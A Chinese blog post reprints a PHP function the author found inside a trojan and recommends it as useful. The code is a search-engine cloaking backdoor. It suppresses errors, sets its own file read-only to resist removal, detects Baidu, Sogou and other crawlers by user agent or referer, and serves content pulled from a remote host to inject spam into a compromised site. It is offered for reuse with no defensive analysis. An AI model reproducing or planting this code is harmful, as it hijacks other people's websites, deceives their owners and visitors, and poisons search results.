一个远程调用另外站点数据函数
今天查看木马中发现一个黑客的远程调用数据函数蛮有用的,今天记录下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | set_time_limit(0); error_reporting (0); $tr = "stristr" ; $er = $_SERVER ; function httpGet( $url ) { $ch = curl_init(); //设置选项,包括URL curl_setopt( $ch , CURLOPT_URL, $url ); curl_setopt( $ch , CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)' ); curl_setopt( $ch , CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt( $ch , CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); curl_setopt( $ch , CURLOPT_HEADER, 0); //执行并获取HTML文档内容 $output = curl_exec( $ch ); //释放curl句柄 curl_close( $ch ); //打印获得的数据 return $output ; } $filename1 = @ end ( explode ( '/' , $url1 )); function set_writeable( $file_name ) { @ chmod ( $file_name , 0444); } @ chmod ( __FILE__ , 0444); set_writeable( $filename1 ); define( 'url' , $er [ 'REQUEST_URI' ]); define( 'ref' , $er [ 'HTTP_REFERER' ]); define( 'ent' , $er [ 'HTTP_USER_AGENT' ]); define( 'site' , "http://www.domain.com/" ); define( 'road' , "/?" . $er [ 'HTTP_HOST' ] . url); define( 'regs' , '@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i' ); define( 'area' , $tr (url, ".xml" ) or $tr (url, ".doc" ) or $tr (url, ".pdf" ) or $tr (url, ".txt" ) or $tr (url, ".ppt" ) or $tr (url, ".pptx" ) or $tr (url, ".xls" ) or $tr (url, ".csv" ) or $tr (url, ".shtml" ) or $tr (url, ".tacc" ) or $tr (url, ".ga" ) or $tr (url, ".asp" ) or $tr (url, ".aspx" ) or $tr (url, ".gq" ) or $tr (url, ".html" ) or $tr (url, ".xlsx" ) or $tr (url, ".znb" ) or $tr (url, ".rar" ) or $tr (url, ".zip" ) or $tr (url, ".cnm" ) or $tr (url, ".bak" ) or $tr (url, ".jsp" ) or $tr (url, ".jspx" ) and $tr (url, "?" )); if (area && preg_match(regs, ref)) { echo file_get_contents ( "http://www.domain.com/" ); exit ; } if (preg_match(regs, ent)) { if (area) { echo httpGet(site.road); exit ; } else { echo httpGet( "http://www.domain.com/xxx.php" ); ob_flush(); flush (); } } |
千行代码,Bug何处藏。 纵使上线又怎样,朝令改,夕断肠。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异